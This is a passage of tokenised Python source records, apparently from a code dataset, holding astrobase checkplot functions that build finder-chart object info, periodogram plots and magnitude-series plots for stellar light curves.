ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL><DEDENT>if ('<STR_LIT>' not in objectinfo or<EOL>('<STR_LIT>' in objectinfo and<EOL>(objectinfo['<STR_LIT>'] is None or<EOL>not np.isfinite(objectinfo['<STR_LIT>'])))):<EOL><INDENT>objectinfo['<STR_LIT>'] = ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL><DEDENT>if ('<STR_LIT>' not in objectinfo or<EOL>('<STR_LIT>' in objectinfo and<EOL>(objectinfo['<STR_LIT>'] is None or<EOL>not np.isfinite(objectinfo['<STR_LIT>'])))):<EOL><INDENT>objectinfo['<STR_LIT>'] = ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL><DEDENT>if ('<STR_LIT>' not in objectinfo or<EOL>('<STR_LIT>' in objectinfo and<EOL>(objectinfo['<STR_LIT>'] is None or<EOL>not np.isfinite(objectinfo['<STR_LIT>'])))):<EOL><INDENT>objectinfo['<STR_LIT>'] = ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL><DEDENT>if ('<STR_LIT>' not in objectinfo or<EOL>('<STR_LIT>' in objectinfo and<EOL>(objectinfo['<STR_LIT>'] is None or<EOL>not np.isfinite(objectinfo['<STR_LIT>'])))):<EOL><INDENT>objectinfo['<STR_LIT>'] = ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL><DEDENT>if ('<STR_LIT>' not in objectinfo or<EOL>('<STR_LIT>' in objectinfo and<EOL>(objectinfo['<STR_LIT>'] is None or<EOL>not np.isfinite(objectinfo['<STR_LIT>'])))):<EOL><INDENT>objectinfo['<STR_LIT>'] = ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL><DEDENT>if ('<STR_LIT>' not in objectinfo or<EOL>('<STR_LIT>' in objectinfo and<EOL>(objectinfo['<STR_LIT>'] is None or<EOL>not np.isfinite(objectinfo['<STR_LIT>'])))):<EOL><INDENT>objectinfo['<STR_LIT>'] = ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL><DEDENT>if ('<STR_LIT>' not in objectinfo or<EOL>('<STR_LIT>' in objectinfo and<EOL>(objectinfo['<STR_LIT>'] is None or<EOL>not np.isfinite(objectinfo['<STR_LIT>'])))):<EOL><INDENT>objectinfo['<STR_LIT>'] = ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL><DEDENT>if ('<STR_LIT>' not in objectinfo or<EOL>('<STR_LIT>' in objectinfo and<EOL>(objectinfo['<STR_LIT>'] is None or<EOL>not np.isfinite(objectinfo['<STR_LIT>'])))):<EOL><INDENT>objectinfo['<STR_LIT>'] = ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL><DEDENT>if ('<STR_LIT>' not in objectinfo or<EOL>('<STR_LIT>' in objectinfo and<EOL>(objectinfo['<STR_LIT>'] is None or<EOL>not np.isfinite(objectinfo['<STR_LIT>'])))):<EOL><INDENT>objectinfo['<STR_LIT>'] = ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL><DEDENT>if ('<STR_LIT>' not in objectinfo or<EOL>('<STR_LIT>' in objectinfo and<EOL>(objectinfo['<STR_LIT>'] is None or<EOL>not np.isfinite(objectinfo['<STR_LIT>'])))):<EOL><INDENT>objectinfo['<STR_LIT>'] = ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL><DEDENT>if ('<STR_LIT>' not in objectinfo or<EOL>('<STR_LIT>' in objectinfo and<EOL>(objectinfo['<STR_LIT>'] is None or<EOL>not np.isfinite(objectinfo['<STR_LIT>'])))):<EOL><INDENT>objectinfo['<STR_LIT>'] = ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL><DEDENT>if ('<STR_LIT>' not in objectinfo or<EOL>('<STR_LIT>' in objectinfo and<EOL>(objectinfo['<STR_LIT>'] is None or<EOL>not np.isfinite(objectinfo['<STR_LIT>'])))):<EOL><INDENT>objectinfo['<STR_LIT>'] = ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL><DEDENT>if ('<STR_LIT>' not in objectinfo or<EOL>('<STR_LIT>' in objectinfo and<EOL>(objectinfo['<STR_LIT>'] is None or<EOL>not np.isfinite(objectinfo['<STR_LIT>'])))):<EOL><INDENT>objectinfo['<STR_LIT>'] = ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>objectinfo['<STR_LIT>'] = (<EOL>ticinfo['<STR_LIT:data>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>']))<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>'],<EOL>objectinfo['<STR_LIT>']))<EOL><DEDENT><DEDENT>coordfeat = coord_features(objectinfo)<EOL>colorfeat = color_features(objectinfo,<EOL>deredden=deredden_object,<EOL>custom_bandpasses=custom_bandpasses,<EOL>dust_timeout=dust_timeout)<EOL>colorclass = color_classification(colorfeat, coordfeat)<EOL>objectinfo.update(colorfeat)<EOL>objectinfo.update(coordfeat)<EOL>objectinfo.update(colorclass)<EOL>checkplotdict = {'<STR_LIT>':objectid,<EOL>'<STR_LIT>':neighbors,<EOL>'<STR_LIT>':objectinfo,<EOL>'<STR_LIT>':finderb64,<EOL>'<STR_LIT>':sigclip,<EOL>'<STR_LIT>':normto,<EOL>'<STR_LIT>':normmingap}<EOL>checkplotdict['<STR_LIT>']['<STR_LIT>'] = None<EOL><DEDENT>else:<EOL><INDENT>checkplotdict = {'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':[],<EOL>'<STR_LIT>':[],<EOL>'<STR_LIT>':[],<EOL>'<STR_LIT>':[],<EOL>'<STR_LIT>':[],<EOL>'<STR_LIT>':[],<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None<EOL>},<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':sigclip,<EOL>'<STR_LIT>':normto,<EOL>'<STR_LIT>':normmingap}<EOL><DEDENT>if isinstance(varinfo, dict):<EOL><INDENT>checkplotdict['<STR_LIT>'] = varinfo<EOL><DEDENT>else:<EOL><INDENT>checkplotdict['<STR_LIT>'] = {<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>'<STR_LIT>':None,<EOL>}<EOL><DEDENT>return checkplotdict<EOL>", "docstring": "This returns the finder chart and object information as a dict.\n\n    Parameters\n    ----------\n\n    objectinfo : dict or None\n        If provided, this is a dict containing information on the object whose\n        light curve is being processed. This function will then be able to look\n        up and download a finder chart for this object and write that to the\n        output checkplotdict. External services such as GAIA, SIMBAD, TIC@MAST,\n        etc. will also be used to look up this object by its coordinates, and\n        will add in information available from those services.\n\n        The `objectinfo` dict must be of the form and contain at least the keys\n        described below::\n\n            {'objectid': the name of the object,\n             'ra': the right ascension of the object in decimal degrees,\n             'decl': the declination of the object in decimal degrees,\n             'ndet': the number of observations of this object}\n\n        You can also provide magnitudes and proper motions of the object using\n        the following keys and the appropriate values in the `objectinfo`\n        dict. These will be used to calculate colors, total and reduced proper\n        motion, etc. and display these in the output checkplot PNG::\n\n            'pmra' -> the proper motion in mas/yr in right ascension,\n            'pmdecl' -> the proper motion in mas/yr in declination,\n            'umag'  -> U mag\t\t -> colors: U-B, U-V, U-g\n            'bmag'  -> B mag\t\t -> colors: U-B, B-V\n            'vmag'  -> V mag\t\t -> colors: U-V, B-V, V-R, V-I, V-K\n            'rmag'  -> R mag\t\t -> colors: V-R, R-I\n            'imag'  -> I mag\t\t -> colors: g-I, V-I, R-I, B-I\n            'jmag'  -> 2MASS J mag\t -> colors: J-H, J-K, g-J, i-J\n            'hmag'  -> 2MASS H mag\t -> colors: J-H, H-K\n            'kmag'  -> 2MASS Ks mag\t -> colors: g-Ks, H-Ks, J-Ks, V-Ks\n            'sdssu' -> SDSS u mag\t -> colors: u-g, u-V\n            'sdssg' -> SDSS g mag\t -> colors: g-r, g-i, g-K, u-g, U-g, g-J\n            'sdssr' -> SDSS r mag\t -> colors: r-i, g-r\n            'sdssi' -> SDSS i mag\t -> colors: r-i, i-z, g-i, i-J, i-W1\n            'sdssz' -> SDSS z mag\t -> colors: i-z, z-W2, g-z\n            'ujmag' -> UKIRT J mag\t -> colors: J-H, H-K, J-K, g-J, i-J\n            'uhmag' -> UKIRT H mag\t -> colors: J-H, H-K\n            'ukmag' -> UKIRT K mag\t -> colors: g-K, H-K, J-K, V-K\n            'irac1' -> Spitzer IRAC1 mag -> colors: i-I1, I1-I2\n            'irac2' -> Spitzer IRAC2 mag -> colors: I1-I2, I2-I3\n            'irac3' -> Spitzer IRAC3 mag -> colors: I2-I3\n            'irac4' -> Spitzer IRAC4 mag -> colors: I3-I4\n            'wise1' -> WISE W1 mag\t -> colors: i-W1, W1-W2\n            'wise2' -> WISE W2 mag\t -> colors: W1-W2, W2-W3\n            'wise3' -> WISE W3 mag\t -> colors: W2-W3\n            'wise4' -> WISE W4 mag\t -> colors: W3-W4\n\n        If you have magnitude measurements in other bands, use the\n        `custom_bandpasses` kwarg to pass these in.\n\n        If this is None, no object information will be incorporated into the\n        checkplot (kind of making it effectively useless for anything other than\n        glancing at the phased light curves at various 'best' periods from the\n        period-finder results).\n\n    varinfo : dict or None\n        If this is None, a blank dict of the form below will be added to the\n        checkplotdict::\n\n            {'objectisvar': None -> variability flag (None indicates unset),\n             'vartags': CSV str containing variability type tags from review,\n             'varisperiodic': None -> periodic variability flag (None -> unset),\n             'varperiod': the period associated with the periodic variability,\n             'varepoch': the epoch associated with the periodic variability}\n\n        If you provide a dict matching this format in this kwarg, this will be\n        passed unchanged to the output checkplotdict produced.\n\n    findercmap : str or matplotlib.cm.ColorMap object\n        The Colormap object to use for the finder chart image.\n\n    finderconvolve : astropy.convolution.Kernel object or None\n        If not None, the Kernel object to use for convolving the finder image.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    normto : {'globalmedian', 'zero'} or a float\n        This is specified as below::\n\n            'globalmedian' -> norms each mag to global median of the LC column\n            'zero'         -> norms each mag to zero\n            a float        -> norms each mag to this specified float value.\n\n    normmingap : float\n        This defines how much the difference between consecutive measurements is\n        allowed to be to consider them as parts of different timegroups. By\n        default it is set to 4.0 days.\n\n    deredden_object : bool\n        If this is True, will use the 2MASS DUST service to get extinction\n        coefficients in various bands, and then try to deredden the magnitudes\n        and colors of the object already present in the checkplot's objectinfo\n        dict.\n\n    custom_bandpasses : dict\n        This is a dict used to provide custom bandpass definitions for any\n        magnitude measurements in the objectinfo dict that are not automatically\n        recognized by :py:func:`astrobase.varclass.starfeatures.color_features`.\n\n    lclistpkl : dict or str\n        If this is provided, must be a dict resulting from reading a catalog\n        produced by the `lcproc.catalogs.make_lclist` function or a str path\n        pointing to the pickle file produced by that function. This catalog is\n        used to find neighbors of the current object in the current light curve\n        collection. Looking at neighbors of the object within the radius\n        specified by `nbrradiusarcsec` is useful for light curves produced by\n        instruments that have a large pixel scale, so are susceptible to\n        blending of variability and potential confusion of neighbor variability\n        with that of the actual object being looked at. If this is None, no\n        neighbor lookups will be performed.\n\n    nbrradiusarcsec : float\n        The radius in arcseconds to use for a search conducted around the\n        coordinates of this object to look for any potential confusion and\n        blending of variability amplitude caused by their proximity.\n\n    maxnumneighbors : int\n        The maximum number of neighbors that will have their light curves and\n        magnitudes noted in this checkplot as potential blends with the target\n        object.\n\n    plotdpi : int\n        The resolution in DPI of the plots to generate in this function\n        (e.g. the finder chart, etc.)\n\n    findercachedir : str\n        The path to the astrobase cache directory for finder chart downloads\n        from the NASA SkyView service.\n\n    verbose : bool\n        If True, will indicate progress and warn about potential problems.\n\n    gaia_submit_timeout : float\n        Sets the timeout in seconds to use when submitting a request to look up\n        the object's information to the GAIA service. Note that if `fast_mode`\n        is set, this is ignored.\n\n    gaia_submit_tries : int\n        Sets the maximum number of times the GAIA services will be contacted to\n        obtain this object's information. If `fast_mode` is set, this is\n        ignored, and the services will be contacted only once (meaning that a\n        failure to respond will be silently ignored and no GAIA data will be\n        added to the checkplot's objectinfo dict).\n\n    gaia_max_timeout : float\n        Sets the timeout in seconds to use when waiting for the GAIA service to\n        respond to our request for the object's information. Note that if\n        `fast_mode` is set, this is ignored.\n\n    gaia_mirror : str\n        This sets the GAIA mirror to use. This is a key in the\n        `services.gaia.GAIA_URLS` dict which defines the URLs to hit for each\n        mirror.\n\n    fast_mode : bool or float\n        This runs the external catalog operations in a \"fast\" mode, with short\n        timeouts and not trying to hit external catalogs that take a long time\n        to respond.\n\n        If this is set to True, the default settings for the external requests\n        will then become::\n\n            skyview_lookup = False\n            skyview_timeout = 10.0\n            skyview_retry_failed = False\n            dust_timeout = 10.0\n            gaia_submit_timeout = 7.0\n            gaia_max_timeout = 10.0\n            gaia_submit_tries = 2\n            complete_query_later = False\n            search_simbad = False\n\n        If this is a float, will run in \"fast\" mode with the provided timeout\n        value in seconds and the following settings::\n\n            skyview_lookup = True\n            skyview_timeout = fast_mode\n            skyview_retry_failed = False\n            dust_timeout = fast_mode\n            gaia_submit_timeout = 0.66*fast_mode\n            gaia_max_timeout = fast_mode\n            gaia_submit_tries = 2\n            complete_query_later = False\n            search_simbad = False\n\n    complete_query_later : bool\n        If this is True, saves the state of GAIA queries that are not yet\n        complete when `gaia_max_timeout` is reached while waiting for the GAIA\n        service to respond to our request. A later call for GAIA info on the\n        same object will attempt to pick up the results from the existing query\n        if it's completed. If `fast_mode` is True, this is ignored.\n\n    Returns\n    -------\n\n    dict\n        A checkplotdict is returned containing the objectinfo and varinfo dicts,\n        ready to use with the functions below to add in light curve plots,\n        phased LC plots, xmatch info, etc.", "id": "f14726:m1"}
{"signature": "def _pkl_periodogram(lspinfo,<EOL>plotdpi=<NUM_LIT:100>,<EOL>override_pfmethod=None):", "body": "<EOL>pgramylabel = PLOTYLABELS[lspinfo['<STR_LIT>']]<EOL>periods = lspinfo['<STR_LIT>']<EOL>lspvals = lspinfo['<STR_LIT>']<EOL>bestperiod = lspinfo['<STR_LIT>']<EOL>nbestperiods = lspinfo['<STR_LIT>']<EOL>nbestlspvals = lspinfo['<STR_LIT>']<EOL>pgramfig = plt.figure(figsize=(<NUM_LIT>,<NUM_LIT>),dpi=plotdpi)<EOL>plt.plot(periods,lspvals)<EOL>plt.xscale('<STR_LIT>',basex=<NUM_LIT:10>)<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel(pgramylabel)<EOL>plottitle = '<STR_LIT>' % (METHODLABELS[lspinfo['<STR_LIT>']],<EOL>bestperiod)<EOL>plt.title(plottitle)<EOL>for xbestperiod, xbestpeak in zip(nbestperiods,<EOL>nbestlspvals):<EOL><INDENT>plt.annotate('<STR_LIT>' % xbestperiod,<EOL>xy=(xbestperiod, xbestpeak), xycoords='<STR_LIT:data>',<EOL>xytext=(<NUM_LIT:0.0>,<NUM_LIT>), textcoords='<STR_LIT>',<EOL>arrowprops=dict(arrowstyle=\"<STR_LIT>\"),fontsize='<STR_LIT>')<EOL><DEDENT>plt.grid(color='<STR_LIT>',<EOL>alpha=<NUM_LIT>,<EOL>zorder=<NUM_LIT:0>,<EOL>linewidth=<NUM_LIT:1.0>,<EOL>linestyle='<STR_LIT::>')<EOL>pgrampng = StrIO()<EOL>pgramfig.savefig(pgrampng,<EOL>pad_inches=<NUM_LIT:0.0>, format='<STR_LIT>')<EOL>plt.close()<EOL>pgrampng.seek(<NUM_LIT:0>)<EOL>pgramb64 = base64.b64encode(pgrampng.read())<EOL>pgrampng.close()<EOL>if not override_pfmethod:<EOL><INDENT>checkplotdict = {<EOL>lspinfo['<STR_LIT>']:{<EOL>'<STR_LIT>':periods,<EOL>'<STR_LIT>':lspvals,<EOL>'<STR_LIT>':bestperiod,<EOL>'<STR_LIT>':nbestperiods,<EOL>'<STR_LIT>':nbestlspvals,<EOL>'<STR_LIT>':pgramb64,<EOL>}<EOL>}<EOL><DEDENT>else:<EOL><INDENT>checkplotdict = {<EOL>override_pfmethod:{<EOL>'<STR_LIT>':periods,<EOL>'<STR_LIT>':lspvals,<EOL>'<STR_LIT>':bestperiod,<EOL>'<STR_LIT>':nbestperiods,<EOL>'<STR_LIT>':nbestlspvals,<EOL>'<STR_LIT>':pgramb64,<EOL>}<EOL>}<EOL><DEDENT>return checkplotdict<EOL>", "docstring": "This returns the periodogram plot PNG as base64, plus info as a dict.\n\n    Parameters\n    ----------\n\n    lspinfo : dict\n        This is an lspinfo dict containing results from a period-finding\n        function. If it's from an astrobase period-finding function in\n        periodbase, this will already be in the correct format. To use external\n        period-finder results with this function, the `lspinfo` dict must be of\n        the following form, with at least the keys listed below::\n\n            {'periods': np.array of all periods searched by the period-finder,\n             'lspvals': np.array of periodogram power value for each period,\n             'bestperiod': a float value that is the period with the highest\n                           peak in the periodogram, i.e. the most-likely actual\n                           period,\n             'method': a three-letter code naming the period-finder used; must\n                       be one of the keys in the\n                       `astrobase.periodbase.METHODLABELS` dict,\n             'nbestperiods': a list of the periods corresponding to periodogram\n                             peaks (`nbestlspvals` below) to annotate on the\n                             periodogram plot so they can be called out\n                             visually,\n             'nbestlspvals': a list of the power values associated with\n                             periodogram peaks to annotate on the periodogram\n                             plot so they can be called out visually; should be\n                             the same length as `nbestperiods` above}\n\n        `nbestperiods` and `nbestlspvals` must have at least 5 elements each,\n        e.g. describing the five 'best' (highest power) peaks in the\n        periodogram.\n\n    plotdpi : int\n        The resolution in DPI of the output periodogram plot to make.\n\n    override_pfmethod : str or None\n        This is used to set a custom label for this periodogram\n        method. Normally, this is taken from the 'method' key in the input\n        `lspinfo` dict, but if you want to override the output method name,\n        provide this as a string here. This can be useful if you have multiple\n        results you want to incorporate into a checkplotdict from a single\n        period-finder (e.g. if you ran BLS over several period ranges\n        separately).\n\n    Returns\n    -------\n\n    dict\n        Returns a dict that contains the following items::\n\n            {methodname: {'periods':the period array from lspinfo,\n                          'lspval': the periodogram power array from lspinfo,\n                          'bestperiod': the best period from lspinfo,\n                          'nbestperiods': the 'nbestperiods' list from lspinfo,\n                          'nbestlspvals': the 'nbestlspvals' list from lspinfo,\n                          'periodogram': base64 encoded string representation of\n                                         the periodogram plot}}\n\n        The dict is returned in this format so it can be directly incorporated\n        under the period-finder's label `methodname` in a checkplotdict, using\n        Python's dict `update()` method.", "id": "f14726:m2"}
{"signature": "def _pkl_magseries_plot(stimes, smags, serrs,<EOL>plotdpi=<NUM_LIT:100>,<EOL>magsarefluxes=False):", "body": "scaledplottime = stimes - npmin(stimes)<EOL>magseriesfig = plt.figure(figsize=(<NUM_LIT>,<NUM_LIT>),dpi=plotdpi)<EOL>plt.plot(scaledplottime,<EOL>smags,<EOL>marker='<STR_LIT:o>',<EOL>ms=<NUM_LIT>, ls='<STR_LIT:None>',mew=<NUM_LIT:0>,<EOL>color='<STR_LIT>',<EOL>rasterized=True)<EOL>if not magsarefluxes:<EOL><INDENT>plot_ylim = plt.ylim()<EOL>plt.ylim((plot_ylim[<NUM_LIT:1>], plot_ylim[<NUM_LIT:0>]))<EOL><DEDENT>plt.xlim((npmin(scaledplottime)-<NUM_LIT>,<EOL>npmax(scaledplottime)+<NUM_LIT>))<EOL>plt.grid(color='<STR_LIT>',<EOL>alpha=<NUM_LIT>,<EOL>zorder=<NUM_LIT:0>,<EOL>linewidth=<NUM_LIT:1.0>,<EOL>linestyle='<STR_LIT::>')<EOL>plot_xlabel = '<STR_LIT>' % npmin(stimes)<EOL>if magsarefluxes:<EOL><INDENT>plot_ylabel = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>plot_ylabel = '<STR_LIT>'<EOL><DEDENT>plt.xlabel(plot_xlabel)<EOL>plt.ylabel(plot_ylabel)<EOL>plt.gca().get_yaxis().get_major_formatter().set_useOffset(False)<EOL>plt.gca().get_xaxis().get_major_formatter().set_useOffset(False)<EOL>magseriespng = StrIO()<EOL>magseriesfig.savefig(magseriespng,<EOL>pad_inches=<NUM_LIT>, format='<STR_LIT>')<EOL>plt.close()<EOL>magseriespng.seek(<NUM_LIT:0>)<EOL>magseriesb64 = base64.b64encode(magseriespng.read())<EOL>magseriespng.close()<EOL>checkplotdict = {<EOL>'<STR_LIT>':{<EOL>'<STR_LIT>':magseriesb64,<EOL>'<STR_LIT>':stimes,<EOL>'<STR_LIT>':smags,<EOL>'<STR_LIT>':serrs<EOL>}<EOL>}<EOL>return checkplotdict<EOL>", "docstring": "This returns the magseries plot PNG as base64, plus arrays as dict.\n\n    Parameters\n    ----------\n\n    stimes,smags,serrs : np.array\n        The mag/flux time-series arrays along with associated errors. These\n        should all have been run through nan-stripping and sigma-clipping\n        beforehand.\n\n    plotdpi : int\n        The resolution of the plot to make in DPI.\n\n    magsarefluxes : bool\n        If True, indicates the input time-series is fluxes and not mags so the\n        plot y-axis direction and range can be set appropriately.\n\n    Returns\n    -------\n\n    dict\n        A dict of the following form is returned::\n\n            {'magseries': {'plot': base64 encoded str representation of the\n                                   magnitude/flux time-series plot,\n                           'times': the `stimes` array,\n                           'mags': the `smags` array,\n                           'errs': the 'serrs' array}}\n\n        The dict is returned in this format so it can be directly incorporated\n        in a checkplotdict, using Python's dict `update()` method.", "id": "f14726:m3"}
{"signature": "def _pkl_phased_magseries_plot(<EOL>checkplotdict,<EOL>lspmethod,<EOL>periodind,<EOL>stimes, smags, serrs,<EOL>varperiod, varepoch,<EOL>lspmethodind=<NUM_LIT:0>,<EOL>phasewrap=True,<EOL>phasesort=True,<EOL>phasebin=<NUM_LIT>,<EOL>minbinelems=<NUM_LIT:7>,<EOL>plotxlim=(-<NUM_LIT>,<NUM_LIT>),<EOL>plotdpi=<NUM_LIT:100>,<EOL>bestperiodhighlight=None,<EOL>xgridlines=None,<EOL>xliminsetmode=False,<EOL>magsarefluxes=False,<EOL>directreturn=False,<EOL>overplotfit=None,<EOL>verbose=True,<EOL>override_pfmethod=None<EOL>):", "body": "<EOL>phasedseriesfig = plt.figure(figsize=(<NUM_LIT>,<NUM_LIT>),dpi=plotdpi)<EOL>plotvarepoch = None<EOL>if varepoch is None:<EOL><INDENT>plotvarepoch = npmin(stimes)<EOL><DEDENT>elif isinstance(varepoch,str) and varepoch == '<STR_LIT>':<EOL><INDENT>try:<EOL><INDENT>spfit = spline_fit_magseries(stimes,<EOL>smags,<EOL>serrs,<EOL>varperiod,<EOL>magsarefluxes=magsarefluxes,<EOL>sigclip=None,<EOL>verbose=verbose)<EOL>plotvarepoch = spfit['<STR_LIT>']['<STR_LIT>']<EOL>if len(plotvarepoch) != <NUM_LIT:1>:<EOL><INDENT>plotvarepoch = plotvarepoch[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>sgfit = savgol_fit_magseries(stimes,<EOL>smags,<EOL>serrs,<EOL>varperiod,<EOL>sigclip=None,<EOL>magsarefluxes=magsarefluxes,<EOL>verbose=verbose)<EOL>plotvarepoch = sgfit['<STR_LIT>']['<STR_LIT>']<EOL>if len(plotvarepoch) != <NUM_LIT:1>:<EOL><INDENT>plotvarepoch = plotvarepoch[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>if plotvarepoch is None:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>plotvarepoch = npmin(stimes)<EOL><DEDENT><DEDENT><DEDENT>elif isinstance(varepoch, list):<EOL><INDENT>try:<EOL><INDENT>thisvarepochlist = varepoch[lspmethodind]<EOL>plotvarepoch = thisvarepochlist[periodind]<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL>plotvarepoch = npmin(stimes)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>plotvarepoch = varepoch<EOL><DEDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>' %<EOL>(lspmethod, periodind, varperiod, plotvarepoch))<EOL><DEDENT>if periodind == <NUM_LIT:0>:<EOL><INDENT>plottitle = '<STR_LIT>' % (<EOL>(METHODSHORTLABELS[lspmethod] if lspmethod in METHODSHORTLABELS<EOL>else lspmethod),<EOL>varperiod,<EOL>plotvarepoch<EOL>)<EOL><DEDENT>elif periodind > <NUM_LIT:0>:<EOL><INDENT>plottitle = '<STR_LIT>' % (<EOL>(METHODSHORTLABELS[lspmethod] if lspmethod in METHODSHORTLABELS<EOL>else lspmethod),<EOL>periodind+<NUM_LIT:1>,<EOL>varperiod,<EOL>plotvarepoch<EOL>)<EOL><DEDENT>elif periodind == -<NUM_LIT:1>:<EOL><INDENT>plottitle = '<STR_LIT>' % (<EOL>lspmethod,<EOL>varperiod,<EOL>plotvarepoch<EOL>)<EOL><DEDENT>phasedlc = phase_magseries(stimes,<EOL>smags,<EOL>varperiod,<EOL>plotvarepoch,<EOL>wrap=phasewrap,<EOL>sort=phasesort)<EOL>plotphase = phasedlc['<STR_LIT>']<EOL>plotmags = phasedlc['<STR_LIT>']<EOL>if phasebin:<EOL><INDENT>binphasedlc = phase_bin_magseries(plotphase,<EOL>plotmags,<EOL>binsize=phasebin,<EOL>minbinelems=minbinelems)<EOL>binplotphase = binphasedlc['<STR_LIT>']<EOL>binplotmags = binphasedlc['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>binplotphase = None<EOL>binplotmags = None<EOL><DEDENT>plt.plot(plotphase,<EOL>plotmags,<EOL>marker='<STR_LIT:o>',<EOL>ms=<NUM_LIT>, 